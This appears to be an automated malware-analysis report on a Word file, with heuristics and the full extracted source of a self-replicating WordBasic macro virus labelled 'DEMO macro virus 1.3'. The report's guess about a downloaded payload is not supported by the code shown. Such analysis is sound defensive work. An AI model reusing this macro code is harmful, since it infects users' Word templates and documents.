MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoClose subroutine, which is automatically executed when the document is closed. The macro displays an input box asking the user '你知道我是誰嗎!!' (Do you know who I am!!), and proceeds based on the input. This suggests an attempt to lure the user into executing malicious functionality, likely to download or execute a secondary payload. The presence of the AutoClose macro and the legacy WordBasic marker indicates a macro-based attack.
Heuristics 3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1442 bytes |
SHA-256: 23a6ca8c5b9791c0220988d34e980e2b9c4ccec8510ba9bf1439a34d4cecbb9d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
Dim ansy$
Dim nor
Dim ff
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kk
Dim tt
err:
ansy$ = InputBox$("你知道我是誰嗎!!", "DEMO巨集病毒1.3版 ")
If ansy$ = "wergelis" Then GoTo p1 Else GoTo p2
'End If
p1:
WordBasic.MsgBox "Ok!!", "DEMO巨集病毒1.3版", 64
GoTo e1
p2:
WordBasic.MsgBox "Error!!", "DEMO巨集病毒1.3版", 16
nor = WordBasic.CountMacros(0)
If nor > 0 Then
For ff = 1 To nor
If WordBasic.[MacroName$](ff, 0) = "AutoClose" Then
t = 1
End If
Next ff
End If
file$ = WordBasic.[filename$]()
filem$ = file$ + ":AutoClose"
If t <> 1 Then
WordBasic.[MacroCopy] filem$, "AutoClose"
'WordBasic.[MacroCopy] filem$, "AutoNew"
End If
nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
For kk = 1 To nor1
If WordBasic.[MacroName$](kk, 1) = "AutoClose" Then
tt = 1
End If
Next kk
End If
If tt <> 1 Then
WordBasic.FileSaveAs Format:=1
WordBasic.[MacroCopy] "AutoClose", filem$
End If
e1:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.